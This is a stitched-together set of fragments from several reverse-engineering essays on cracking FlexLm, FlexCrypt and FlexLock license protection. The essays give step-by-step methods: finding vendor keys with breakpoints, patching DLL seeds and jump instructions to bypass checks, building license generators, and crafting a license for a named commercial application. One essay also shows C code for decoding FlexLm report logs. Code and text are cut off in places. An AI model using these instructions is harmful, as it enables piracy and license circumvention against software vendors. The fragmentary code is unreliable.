print OUTPUT "Referenced from jump at
".$salto{$direccion}."\n\n";
}
if ( defined( $call{$direccion} )){
print OUTPUT "\n";
print OUTPUT "Referenced from call at
".$call{$direccion}."\n\n";
}
if (/\$/){
($instruccion, $operand)=split(/\$/,$_,2);
if (!/push/){
($operand, $rest)=split(/\,/,$operand,2);
}
chomp($operand);
$offset=hex($operand);
Final Notes
It's not my intention to harm any company that was fooled with this system, so as you could see no ready
to use crack was released. I just wanted to show how poor is the protection scheme used in the license
generation.
Ob Duh
I WILL bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you are a moron. This is
the kind of software that WE NEED. Many people should register it and allow its Author to write even
more interesting stuff!
You are deep inside fravia's page of reverse engineering, choose your way out:
FlexLm is pretty complicated, it's easy to become confused. Here's some handy hints which may help.
Introduction
The recent Generation of older style FLEXlm license files essay by VoxQuietis re-awakened my interest in FlexLm.
So I've been digging a little deeper.. applying a little zen...
This document is intended to supplement the other essays by Siul+Hacky, pilgrim and Vox. Just various bits of info
which may help in your analysis of your particular target.
Tools required
W32DASM, your favourite HexEditor
Target's URL/FTP
No specifics.
Known users of FlexLm: MatLab: www.mathworks.com ProE: www.ptc.com
Program History
The oldest I've seen is 16 bit, V5 ( lmgr165.dll ) It's evolved into 32 bit, V6, and soon V7.
This seems to be a layered approach, adding more and more layers around the basic core.
We're attacking the core, so version is, mostly, irrelevant.
But the history, the evolution, is well worth studying.
Essay
Contents
========
1. Code signatures
2. How key 5 is generated and how to get it fast
3. Useful tools
4. More notes on license generation
5. Fast 32 bit Cryptwin decryption
1. Code signatures
==================
b) lc_set_attr()
Key 5 is generated exactly the same for flexlm V5.12 and V6.10.
The exact address seems to vary with various versions of DLLs.
You pass the vendor string and the 4 keys and key 5 is
generated for you.
3. Useful tools
===============
A few hints:
lmgr325c.dll uses relocating addresses, so watch it!
lmgr325c.dll has no call to wsprintf(), but has an
internal function at
Use the genlic.exe program that comes with the 6.1 SDK
if you've got
a target using the basic 6.1 DLL.
But if you've got 5.12, or your target implements
enhanced flexlm features,
then it's time to write your own licence generator.
Vox shows you how.
* Possible StringData Ref from Data Obj ->"FLEXcrypt Copyright (C) 1990-1997,"
->"Globetrotter Software, Inc."
|
:00402D66 6870AE4200 push 0042AE70
:00402D6B 51 push ecx
:00402D6C E8CFC40100 call 0041F240 <- string compare
:00402D71 83C40C add esp, 0000000C
:00402D74 85C0 test eax, eax
:00402D76 7579 jne 00402DF1 <- patch to always jump
:00402D78 FF7508 push [ebp+08]
Now it'll by-pass the checksum check and decrypt (albeit with the
wrong start value ).
Final Notes
As Vox says, there's still more to do on FlexLm.
Vendor-defined checkouts, encryption etc, and then
there's FlexLock...
pilgrim
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period
than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Dear Fravia,
Your comment was necessary and is welcome, I publish only now because of the
syn-attacks that frigged my fortress' router. Since our answer to the attackers is to
multiply my site mirrors per 100 (...per 1000 if it needs be :-), your essay, although
delayed, will be read everywhere...
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert
I wrote this essay as a sign of gratitude to all the reversers who shared their knowlegde with us by writing all the essays that can
be found on fravia+'s site. I hope that this piece of work will help you, dear reader, to increase your knowlegde the same way I
could learn before. Especially I would like to thank SiuL+Hacky, and Pilgrim, whose work made this possible. Finally I would
like to encourage +fravia in continuing the support of the reverse engineering world by maintaining his site as a universal
source of information also for the novice reversers (as I actually am one of this species). I feel that this is essential for the future
growth of a public knowlegde, which is a conditio sine qua non for the survival of non M$ personal computing. (And if M$ ever
died, I believe, the next monster would stand up even more horrifying)
Introduction
1.) How to collect the required key data fast and efficiently
I expect you having read the essay of Pilgrim. And I expect you
to have the Flexlm HTML manuals available. It's worth the time
studying them in order to understand the concepts of Flexlm operation.
Tools required
A disassembler (WDASM is good enough)
Target's URL/FTP
Program History
No specific target - no specific history ;-)
Essay
1.) Gathering the required information
Look at the stack. The second argument points to the vendor string (i.e. the
vendor name) - write it down! The next argument points to the code struct.
It should be known to You that the corresponding structure would look
like that:
Write them down. From pilgrim's essay You should already know what
to do with them.
Now we have vendor keys 1 to 4, plus the XORed seeds 1 and 2. But we
still have to fish for vendor key 5 - it had been the intention of
the Globetrotter guys to hide it somewhere within the memory, so we'll
need our brain (Isn't this the only essential tool?). Pilgrim did find
it. But he didn't tell us how. Pas de problem. We're going to find them,
too. (And I will tell You, how to find them ;-)
Lets start examining the disassembly of the flexlm-DLL. Look at the
exported functions. Something fishy (or maybe too much of that)?
Look again ... and remember we're looking for cryptographic stuff ...
Ah ... l_checksum ... all the checksum stuff should start from the
correct seeds, as it is obvious, that the scrambled encryption seeds
need to be corrected just before checksum generation takes place.
So jump to the address of the l_checksum function and trace the code.
After a couple of lines You'll find two XOR instructions. Put a
breakpoint ... and ... nothing happens.
Don't worry, scan the disassembly for similar code. Or maybe you examine
the call of l_extract_date, which is following the XORs. Doing so You'll
find two or three locations showing the same XOR instructions. Indeed
there are several copies of the l_checksum function. Put breakpoints on
all the instances of the l_checksum function. Run your target, and ...
bingo! ... we now know vendor key 5.
Write it down, and insert the gathered information into lm_code.h as
indicated by Pilgrim.
Caveat: Do not put breakpoints on the XOR instructions itself - doing
so would lead to a bad data error, and the breakpoint wouldn't hit.
Maybe there is a anti-Softice feature dwelling deep into the lmgr-DLL,
I don't know (Maybe this is a challenge for reversing experts. Maybe
some interesting points are hiding there). Nevertheless in order to
follow this essay put the breakpoint some lines above, and it will work.
Now the target told us the secrets, we need to know (I hope You already
fished out the feature names - if not, read the description of lc_checkout
and catch them. But be warned, lc_checkout might not be sufficient).
Let's prepare the arena for a first license generation by the means of
the Flexlm guy's demo license generator.
Create a working directory, copy all the header filed from the Flexlm
\machind directory plus the lmcrypt source code (lmcrypt.c). Moreover
we need the demo license generator genlic32.exe and the lmgr-DLL from
the \i86_n3 directory (i.e. lmgr326a.dll for the v6.0 kit). Put the
information found by You in lm_code.h and run genlic32.exe.
An error message comes up, complaining on bad vendor key data. It gives
you also the error code number , -44. See the lmclient.h header for a
summary of the error codes. From the Flexlm documentation it should be
clear, that this error code is returned within the eax register at the
completion e.g. of lm_init. Hence we have to scan the disassembly of
lmgr326a.dll (or the corresponding dll of your Flexlm SDK) for 'ffffffd4'
in order to find out, why lmgr thinks the codes were bad (They aren't,
are they? We typed them carefully to lm_code.h).
Put a breakpoint just before the call preceding the suspicious code
snippet and examine the arguments that are passed into the subroutine:
the code struct and the vendor name. Sure enough we're on the right
track. Step into the subroutine. There are two types of calls inside.
The first one takes the vendor name as input (and _only_ the vendor
name!), while the second routine is fed by the vendor keys. The second
call proves to host some encryption algorithm, while the first one is ...
(you should be able to guess it) ... a checksum over the vendor
name:
Watch this code snippet working in the debugger. Then its function
becomes clear instantly: starting from the seed 1504c935 the vendor
name is XORed character by character. The first character of the vendor
name string is XORed with the lowest byte of eax, the second one with
the next byte of eax, and so on.
Now we should examine this procedure as it takes place during the
initialization process of your target. Start again from the assignment
of the error code -44 (You might fake the code struct that is handed to
lc_init in order to force the error, or -better- try the dead listing
approach).
After a short search you'll land into the same routine - with slight
modifications most probable due to the new compilation of the code.
The next step is obvious: Patch the lmgr326a.dll (or your equivalent,
if using a different Flexlm SDK). Replace the original seed by the one
used within the lmgr-DLL from Your target. Run genlic32.exe again,
.. et voil ..
no more bad vendor keys
But still we don't have enough control over the license generation.
There are a couple of open points: First of all, older license schemes
require longer security(?) strings, which can not be generated with
genlic32. Moreover there are implementations with dongles, that require
the incorporation of a so called vendor defined hostid. All this can be
achieved by a specialized license generator program. Globetrotter guys
are nice enough to supply us with the source code of this. It is called
lmcrypt.c. The following paragraph shall describe, how to get this
working.
So prepare your favorite C compiler. Include the lmgr-DLL that came
with the Flexlm SDK. Read the manuals on how to use lmcrypt. You might
also check the vendor defined hostid section, when dealing with these
kind of things. You should prepare a prototype of the license file,
i.e. the desired one with the exception of the right security string.
Maybe you can get a time limited demo license (I admit, that this is
quite lame, one the other hand the Flexlm manual describe everything
You need to know to write a prototype by your own).
NAME LMCRYPT
DESCRIPTION 'binding lmgr326a.dll to lmcrypt'
HEAPSIZE 32768
STACKSIZE 32768
IMPORTS
_lc_init=LMGR326A.lc_init
_lc_perror=LMGR326A.lc_perror
_lc_set_attr=LMGR326A.lc_set_attr
_lc_cryptstr=LMGR326A.lc_cryptstr
_lc_free_mem=LMGR326A.lc_free_mem
Compile lmcrypt.exe and run it ... verdammt! same lame error again ...
One needs a lot of patience with Flexlm. Again it complains on bad vendor
codes. But don't worry. We're near the end of our adventure. Look on the
error message - Flexlm always produces very sounding error messages
(no 1800000c general protection fault). Apparently something with
lc_init went wrong. Set a breakpoint on lc_init and look on the
arguments that are handed over to lc_init. It should look like that:
Now the solution is simple: locate the declaration of the code structs
(they are within lmclient.h) and correct them. Recompile lmcrypt ...
... and generate your own licenses ...
VoxQuietis
Final Notes
In my opinion Flexlm is far from being dead. There are targets incorporating
vendor defined checkout filters, i.e. the checkout routine is incorporated into
the target. There might be further restrictions for a successful checkout, e.g.
only a certain range of host IDs is allowed. Or, even worse, checksum (or other
Code Snippets
Snippets from the LMGR326A.dll Disassembly
The following code snippets should familiarize you with the 'look and feel'
of Flexlm.
First code snippet shows the location of the good boy/bad guy decision.
Second code snippet shows the body of the vendor code check.
Note that at this stage there is no date check, i.e. bad key
data error doesn't indicate that keys are expired.
:1000841F B835C90415 mov eax, 1504C935 <- save seed of checksum in eax
:10008424 57 push edi
:10008425 33F6 xor esi, esi
:10008427 8B54240C mov edx, dword ptr [esp+0C] <- vendor name
:1000842B 803A00 cmp byte ptr [edx], 00
:1000842E 741C je 1000844C <- step out if ready
* Referenced by a Jump at Address 1000844A(C) <- head of loop
:10008430 0FBE3A movsx edi, byte ptr [edx] <- read one character
:10008433 8D0CF500000000 lea ecx, dword ptr [8*esi+00000000]
:1000843A 42 inc edx
:1000843B D3E7 shl edi, cl <- no shift for first character
:1000843D 33C7 xor eax, edi shift second character one byte
higher
:1000843F 46 inc esi third character two bytes
:10008440 83FE04 cmp esi, 00000004 fourth character three bytes
:10008443 7C02 jl 10008447
:10008445 33F6 xor esi, esi <- fifth byte: no shift
* Referenced by a Jump at Address 10008443(C) and so on until the end of the
:10008447 803A00 cmp byte ptr [edx], 00 vendor string
:1000844A 75E4 jne 10008430 <- process next character
...............
Again the first snippet shows the location of the good boy/bad guy decision.
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
FlexLock
"... less secure than the rest of FLEXlm" Not Assigned
Here's a quick way to understand FlexLocked applications, and a more detailed analysis of FlexLock
license generation.
FlexLock
"... less secure than the rest of FLEXlm"
Written by pilgrim
Introduction
We've looked at FlexLm and FlexCrypt, here another FlexLm based 'security' program bites the dust:
FlexLock. It's intended as a shareware demo protection that can easily be licensed.
NOTE: We've made every effort to make the FLEXlock feature secure.
However, due to the type of security technology used for FLEXlock, it is less secure than the rest of
FLEXlm. This is why it is disabled by default. You should only enable FLEXLOCK if the convenience
of FLEXlock licensing is more important than the reduced security it exposes your product to.
Tools required
W32DASM, your favourite hex editor ( I favour HIEW )
Target's URL/FTP
The FlexLock SDK is available at ftp.globes.com, or www.globetrotter.com
An example FlexLocked application, Hotz Translator II, is at www.hotz.com
Program History
FlexLock 1.0 started as a standalone product utilising FlexLm V6
FlexLock 2.0 has been integrated into FlexLm V7
Essay
Before you read this, I'd first read Siul+Hackys essay ( siulflex.htm which started all this ), my further
essays (pilgrim.htm & pilgrim2.htm & flexm11.htm), and Vox's (flexm.htm) too.
Install Hotz Translator II. We see flock.dll which is the flex-lock DLL. Looking for calls to the DLL we
find only one in tranfl.exe. Here's the edited dissassembly with detailed notes for the analysis later:
First we'd better download the FlexLock 1.0 SDK. We see it's 32 bit cryptwin encrypted, see previous
essays on how to crack.
( note this has the extra checksum at the front of the Z file to bypass).
Once it's installed we see an example of how to call the API in csamples\main.c Here's the edited
highlights:
challengeVal = rand();
localVal = challengeVal;
intReturned =
FL_FLEXlockAPI( FL_INSTANCE_NAME, &challengeVal, &modeVal );
if( intReturned == 0 )
exit( -1 );
if ( modeVal != FL_PURCHASED )
exit( -1 );
challengeVal ^= FL_MASK;
localVal ^= FL_MASKED_CODE;
if( localVal != challengeVal )
exit( -1 );
So we first see a check to ensure the API function ran OK.
Then another on modeVal to ensure we're using the 'purchased' mode.
Then some sneaky XORs to ensure we've not fiddled with data.
The main thing to note is that 0x33333333 is the users 'secret code' This is used to ensure valid users of
the FlexLock SDK cannot easily generate licenses for another FlexLock application without knowing the
other 'secret key'.
As we'll see later, the key is entered in decimal, which in this case is 79 08 29. What's this? Someones
birthday?
So we can see why the first quick crack had to bypass both the function call and the sneaky checks.
Let's make a license for the FlexLock SDK. We can see lmgr326a.dll in the FlexLock SDK, so why not
try the genlic32 program that comes with the FlexLm 6.1 SDK?
Because it doesn't work, that's why not.
It generates HOSTID=ANY which the flexlock programs don't like.
But if you make your own license generator, as Vox shows you, then we just get "ANY" which works.
What's the VENDOR_ID for? Well, it seems that the FlexLock tools read the vendor ID and use it as a
feature name for the FlexLock key.
Finding it is easy, according to the documentation: After the FLEXlock operation is activated, an entry is
generated in the registry. It is located at:
HKEY_LOCAL_MACHINE->SOFTWARE->GLOBEtrotter Software Inc.->FLEXlock
So run your flexlocked application then look in the registry for the feature name.
In the case of Hotz Translator it's OR5289000 But it's not that easy, the last three digits are the product
number.
So the vendor id we require is OR5289
Generate a license
==================
Follow the FlexLock SDK instructions and make a FlexLock license for your target.
Note in the case of Hotz the product number needs to be 000 to give the desired feature name. And the
secret code is the one we found above.
Run configedit first, then makelicence to generate a key for the FlexLocked target.
This can be entered when prompted, or saved in a license.dat file in the targets root directory.
Further analysis
================
Deeper still...
We can easily find the seeds and keys used by FlexLock by breaking on lc_init and finding the key 5
XORs.
But looking at lc_set_attr calls we see FlexLock uses a vendor-defined checkout filter. Maybe this has
something to do with vendor string?
Final Notes
It seems the basics behind FlexLm aren't changing, there are just more and more 'value-added' wrappers
applied around the core.
However, FlexLm _is_ flexible, with lots of sneaky tricks such as vendor- defined encryption. I'm sure
this isn't the end of FlexLm.
FlexLock seems trivial to crack due to the simple pass/fail return from the single API function call. A
chain is only as strong as it's weakest link. FlexLm is fairly strong. The single API function call is
laughably weak.
Thanks go out to all you good people who continue sharing the knowledge.
pilgrim
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
This document describes the reversing of the FlexLM reporting algorithm on the HP platform. Mostly this was
done as an exercise in reverse engineering, and to determine exactly how the encryption of the reporting logfiles
was done in Flexlm.
Introduction
This essay describes in some depth how the reversing of the Flexlm reporting log encryption algorithms was done.
The reversing of one of the smaller modules is discussed in depth, as well as some of the techniques used to
decode sections of the more difficult to understand programs. Methods to replicate the functionality of the reversed
modules is discussed as well. The ability to decode the Flexlm logfiles isn't a generally useful thing, but the
methods described can be used for reversing other programs.
Tools required
DDE for HP-UX
ANSI C compiler.
Target's URL/FTP
ftp.globes.com
Get the version 6.1 Flexlm SDK for HP, and use Pilgrim's or my techniques to unpack.
Program History
Flexlm generates logfiles which can be interpreted by special tools provided by Globetrotter, most notably
Samreport, Samsuite and by the repapi product. The file is encrypted, supposedly to prevent tampering, but most
likely to force end users to purchase their expensive license reporting tool rather than exporting the raw data into a
spreadsheet and generating the reports there. The logfile is somewhat tamper resistant, and it is possible to
determine if lines have been deleted from the log file. The capability to decode what is in the file directly isn't too
useful since the Globetrotter reporting tools have been cracked, but it is satisfying to know what is going into the
log.
Essay
Preliminaries.
Although this paper is mostly about reversing the algorithm that is used for encryption, I am including some
assembly code sections as well. There are some fundamental differences between how the Intel and PA-RISC
processors work, and how the calling sequences are implemented.
Firstly, the byte order is different on the machines. PA-RISC (and SPARC and MIPS) are big endian
implementations. The most significant byte is stored at the starting address for these machines. On Intel and VAX
machines, the least significant byte is stored at the starting address. This is important if you are debugging because
when , say, using Softice to debug on Intel machines, on memory operations you will see that 0x31323334 is
equivalent to "4321" where it is "1234" on the big endian machines.
The subroutine calling sequence is significantly different as well. On the HP-UX implementation on PA-RISC,
registers are used to pass arguments where possible. The calling sequence on Windows NT intel pushes the
arguments onto the stack.
2) A license file for that daemon was created that created a reportlog.
3) The debugger was run on the daemon, and the relevant calls to the logging routines determined. This was done
by tracing the vendor daemon while a checkout was done.
4) The relevant object file was extracted from the Globetrotter supplied library, and a program that emulated the
calls to the relevant routines was created. The output of the program was checked against the logfile to make sure
that the same behaviour was exhibited by the test program as the actual daemon.
5) The program was analysed and a program that emulated the behaviour of the test program was written.
Step 1.
This process was described in an earlier essay, but the essential part is to change the makefile so that everything is
compiled with the -g option, and the rules which strip the resulting executable are removed. It is possible to debug
a completely stripped executable, but life is difficult enough as it is, so any advantages which can be gained should
be used.
Step 2. A license file that contains options for creating a logfile was generated. Here is the relevant line from that
file:
blenderd.opts contains
REPORTLOG +myreport
All this is documented in the Flexlm end user manual, and there is nothing difficult or undocumented with this
step.
Step 3.
The executable was run, and calls to ls_append_repfile and ls_lf were called with information, then the calls to the
file system write were called with data somewhere in those routines. These calls were carefully examined and the
interesting routines determined. The tactic of writing an intercepting routine that passes arguments through and
logs them was used to get typical input into ls_lf.
Step 4.
The relevant object was then extracted from liblmgr_s.a. This object is ls_filter.o - this contains the encrypting
code that converts the plaintext into the form that is written to the file. The next step was to build an executable
that would reproduce the function in question. The unix nm command was used to figure out the missing globals or
functions, then the vendor daemon operation was examined to extract the relevant values from the executable.
Makefile contains
CFLAGS= -Ae -g
all: democrack
democrack.o: democrack.c
cc $(CFLAGS) democrack.c -c
#include<stdio.h>
main(int argc, char *argv[])
{
}
% make
cc -Ae -g democrack.c -c
cc -Ae -g democrack.o lsfilter.o -o
democrack
/usr/ccs/bin/ld: Unsatisfied symbols:
ls_replog_ascii (data)
ls_log_repfile_client (data)
ls_replog_clear (data)
ls_log_repfile (data)
ls_client_send_str (code)
*** Error exit code 1
At this point, we know that there are a whole bunch of variables and subroutines messing. My tactic here is to start
debugging the license server, and to declare the missing variables as initialized data space.
The working vendor daemon must now be examined, and the process of determining what variables are getting
passed in. The value of the missing variables can be determined too.
Since we know the argument list that is passed to the vendor daemons by using ps -ef, we call the vendor daemon
directly. DDE allows you to attach to an existing process, however it's much simpler to call the program directly.
Once dde has started, we want to put a breakpoint at ls_lf, the routine which writes to the logfile.
At this point, I should note that it may not be possible to set a breakpoint at some locations because the scope of
the procedure is not visible to main. You can get the address to break on by using the nm command. nm -x gives
values which are suitable for dde. The syntax is break `va(address) where address is the hex address of the item of
interest.
After the program hits the breakpoint, we look at the call in the preceeding stack frame (by opening the stack view,
then clicking on the frame of interest, in this case, ls_append_repfile+0c8. Since we don't have the source, we must
dde> regs
r0: 00000000 00000000 0000EA8F
r3 : 7B03AE50 00000007 7B03A51C 7B03A53C
r7 : 7B03A650 7B03A650 00000020 0000001F
r11: 00000000 00000000 08000084 08000084
r15: 00000000 00000001 4001CAF0 00000008
r19: 00000040 00000040 00000108 00004000
r23: 00000141 008C0A00 00000000 7B03F118
r27: 4000A610 00000040 00000008 7B03F550
r31: 0000EA8F
pc: 0000EA8C ipsw: 0006000F sar: 00000018
So r26 contains 7b03f118 - a pointer to some sort of automatic variable on the stack. Let's check it out:
#include<stdio.h>
int ls_replog_ascii[6];
int ls_log_repfile_client;
int ls_replog_clear[6];
FILE *ls_log_repfile;
extern char *cksumbuf; /* declared in lsfilter.o */
regs are
dde> regs
r0: 00000000 40005E10 00005FB7
r3 : 7B03AE50 00000007 7B03A51C 7B03A53C
r7 : 7B03A650 7B03A650 00000020 0000001F
r11: 00000000 00000000 08000084 08000084
r15: 00000000 00000001 4001CAF0 00000008
r19: 00000001 40006320 00000001 00000006
ls_replog_ascii[0] = 0x00000006;
ls_replog_ascii[1] = 0x00000007;
ls_replog_ascii[2] = 0x00000019;
ls_replog_ascii[3] = 0x00000025;
ls_replog_ascii[4] = 0x00000026;
ls_replog_ascii[5] = 0xffffffff;
#include<stdio.h>
int ls_replog_ascii[6];
int ls_log_repfile_client;
int ls_replog_clear[6];
FILE *ls_log_repfile;
extern char *cksumbuf; /* declared in lsfilter.o */
extern long buflen;
extern char *curra;
ls_log_repfile = stdout;
ls_replog_ascii[0] = 0x00000006;
ls_replog_ascii[1] = 0x00000007;
ls_replog_ascii[2] = 0x00000019;
ls_replog_ascii[3] = 0x00000025;
ls_replog_ascii[4] = 0x00000026;
ls_replog_ascii[5] = 0xffffffff;
ls_replog_clear[0] = 0x00000005;
ls_replog_clear[1] = 0xffffffff;
ls_replog_clear[2] = 0x000001f3;
ls_replog_clear[3] = 0x00000000;
ls_replog_clear[4] = 0x00000000;
ls_replog_clear[5] = 0x00000000;
ls_log_repfile_client = 0;
ls_flush_replog(stdout);
fflush(stdout);
}
int ls_client_send_str()
{
printf ("ls_client_send_str called.\n");
return(0);
}
Now we are ready to start reversing the actual code. The procedure that I use to reverse engineer programs is to
build a program that duplicates the behaviour of the target routines.
The procedure is to step through the target routines one instruction at a time, at the same time building a program
which generates the same data.
By examining the code which is produced, an idea of what the original programmer was trying to accomplish can
be extracted. In many ways, reversing code is a mental exercise of examining what is happening in the program,
and asking "If I were writing this, what would I be trying to accomplish?"
If you watch the data being fed into ls_lf (via the code interception trick) you can see how the programmers of this
algorithm save space. Since there is a lot of information associated with an event (checkout, checkin, etc) that is
common, a set of values associated with a user or machine or hosttype or whatever is assigned a code, and the
individual events are a combination of these codes. It is a clever idea, and will prevent the log files from growing
at an excessive rate.
The first complete routine that is of value to examine is incr_currc. This routine is called many times, and is very
straightforward. What is is trying to accomplish?
As it turns out, in general, the first character of each line indicates what kind of data the line contains. The
sequence Copyright_1988-1996_Globetrotter_Software_Inc_ will be repeated over and over in the first character
position, If there is a change of encryption mode, the sequence will skip 3 positions instead of one.
Here is the assembly code: 0000438C incr_currc ADDIL L'0,%r27 ;load the base reg into r1 00004390
incr_currc+0004 LDW R'4(%r1),%r22 ;grab the value at base+4 00004394 incr_currc+0008 COMIBF,=,N
0,%r22,incr_currc+0020 ;not null, go to 20 otherwise 00004398 incr_currc+000c ADDIL L'fffff800,%r27 ;
0000439C incr_currc+0010 LDW R'758(%r1),%r31 ;set the pointer to a string 000043A0 incr_currc+0014 ADDIL
L'0,%r27 000043A4 incr_currc+0018 B incr_currc+005c ;and bail out, but first 000043A8 incr_currc+001c STW
%r31,R'4(%r1) ;save the value at base+4 000043AC incr_currc+0020 ADDIL L'0,%r27 ;Come here if not null
000043B0 incr_currc+0024 LDW R'4(%r1),%r19 ;Increment the pointer 000043B4 incr_currc+0028 LDO
R'1(%r19),%r20 000043B8 incr_currc+002c ADDIL L'0,%r27 000043BC incr_currc+0030 STW %r20,R'4(%r1)
000043C0 incr_currc+0034 ADDIL L'0,%r27 000043C4 incr_currc+0038 LDW R'4(%r1),%r21 000043C8
incr_currc+003c ADDIL L'fffff800,%r27 000043CC incr_currc+0040 LDW R'758(%r1),%r22 000043D0
incr_currc+0044 LDO R'2e(%r22),%r1 000043D4 incr_currc+0048 COMBT,<<,N %r21,%r1,incr_currc+005c ;If
it's more than 0x2e past start 000043D8 incr_currc+004c ADDIL L'fffff800,%r27 000043DC incr_currc+0050
LDW R'758(%r1),%r31; set the pointer back to the start 000043E0 incr_currc+0054 ADDIL L'0,%r27 000043E4
incr_currc+0058 STW %r31,R'4(%r1) 000043E8 incr_currc+005c BV %r0(%r2); go back from whence we came
000043EC incr_currc+0060 NOP Because of the pipelined behaviour of the PA-RISC processor, instructions are
only sort of executed sequentially. The ,N modifier means DON'T execute the following instruction. The branch
instruction at incr_currc+0018 and the store to memory instruction at at incr_currc+001c are both executed during
the branch, but they only take one operation. If you'll notice, all the instructions are the same size.
We can dig out the value at fffff800+758 by examining r31 at incr_currc+10. The value is 40001191, so now
chptr is set to this string, and it goes over and over the same pattern.
char
*cstring="Copyright_1988-1996_Globetrotter_Software_Inc_";
int incr_currc(void) {
if (chptr == 0) { /* incr_currc+8 */
chptr = cstring;
}
else {
chptr++;
The designers of the this processor implemented a shift and add instruction. A lot of the time, programmers are
multiplying by some integer constant, and rather than chew up a lot of cycles doing a multiply, the shift/add
instructions can be combined for faster execution. For example, a multiplication by 5 could be expressed as a
multiplication by 4 and an addition.
So in the case of 3 * 5, it could be expressed as 3+(3*4). The processor could implement this by left shifting 3 2
bits, then adding 3. So 0x00000011<<2 is 0x00001100. add 0x00000011 and you get 0x00001111, or 15 (0x0e)
which is 3*5. I explain this so that if the software designers use multiplication, you can figure out what is going on.
Some of the subroutines, such as remI (remainder) are used to implement modulo (%) operations. It is better to
examine the output of these routines as they are used to implement standard operations, and are twisted hand tuned
assembler.
Look at this if you want to see the ingenuity of the designers of this machine. If you see $$ calls, they are usuall
implementations of standard operations.
Here is an example of this from the "filter" routine. The "shift and add" technique is used to combine the values.
Algorithm reversing.
If you examine the algorithm which is used to select the character to be printed in nb_encrypt (a version of
ascii_filter) you can see that they use an index into the string pointed to by curra, which in turn is incremented each
time the algorithm is run. We need an inverse of this function, but this function is not available in the report
generation code that we are inspecting. The algorithm itself must be reversed. An inverse mapping array is built by
mapping the index into the location pointed to by the value in initvals. This may not be too clear, so I have
included the code which generates the inverse decoding array.
#include<stdio.h>
#include<string.h>
char initvals[] =
{
0x37, 0x5a, 0x4b, 0x43, 0x71, 0x36,
0x34, 0x29, 0x5e, 0x21, 0x79, 0x45,
0x5b, 0x7a, 0x5f, 0x7d, 0x59, 0x2b,
0x46, 0x66, 0x53, 0x42, 0x3a, 0x3b,
0x76, 0x3d, 0x25, 0x74, 0x58, 0x63,
0x38, 0x26, 0x35, 0x73, 0x40, 0x28,
0x27, 0x47, 0x23, 0x61, 0x6d, 0x41,
0x7c, 0x68, 0x4d, 0x44, 0x7e, 0x52,
0x51, 0x39, 0x55, 0x67, 0x30, 0x4e,
0x69, 0x4a, 0x3f, 0x24, 0x5d, 0x4c,
0x56, 0x6f, 0x50, 0x60, 0x6e, 0x2d,
0x5c, 0x72, 0x2a, 0x49, 0x75, 0x31,
0x3e, 0x6b, 0x70, 0x7b, 0x22, 0x2f,
0x64, 0x33, 0x54, 0x78, 0x3c, 0x4f,
0x48, 0x2e, 0x20, 0x6c, 0x2c, 0x62,
0x32, 0x57, 0x77, 0x65, 0x6a, 0x00
};
int main()
{
char *p;
char outarr[256]; /* 256 different mappings */
int i;
int outindex; /* index into output table */
int numindex = 0; /* the current index into initvals
table */
/*
* "unused" values will have 255 for easier fault
* detection.
*/
for (i = 0; i < 256; i++)
{
outarr[i] = 0xff;
}
/*
* step through the initvals array, and load
* the location in outarr with the index into
* the initvals array.
*/
#include<stdio.h>
#include<string.h>
/* Now internal */
/*
* This is the encryption values array
*/
char initvals[] =
{
/*
* This is the decryption values array. Invalid values
* are set to ff
*/
char decodetable[] = {
0x5f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x56, 0x09, 0x4c, 0x26, 0x39, 0x1a, 0x1f, 0x24,
0x23, 0x07, 0x44, 0x11, 0x58, 0x41, 0x55, 0x4d,
0x34, 0x47, 0x5a, 0x4f, 0x06, 0x20, 0x05, 0x00,
0x1e, 0x31, 0x16, 0x17, 0x52, 0x19, 0x48, 0x38,
0x22, 0x29, 0x15, 0x03, 0x2d, 0x0b, 0x12, 0x25,
0x54, 0x45, 0x37, 0x02, 0x3b, 0x2c, 0x35, 0x53,
0x3e, 0x30, 0x2f, 0x14, 0x50, 0x32, 0x3c, 0x5b,
0x1c, 0x10, 0x01, 0x0c, 0x42, 0x3a, 0x08, 0x0e,
0x3f, 0x27, 0x59, 0x1d, 0x4e, 0x5d, 0x13, 0x33,
0x2b, 0x36, 0x5e, 0x49, 0x57, 0x28, 0x40, 0x3d,
0x4a, 0x04, 0x43, 0x21, 0x1b, 0x46, 0x18, 0x5c,
0x51, 0x0a, 0x0d, 0x4b, 0x2a, 0x0f, 0x2e, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
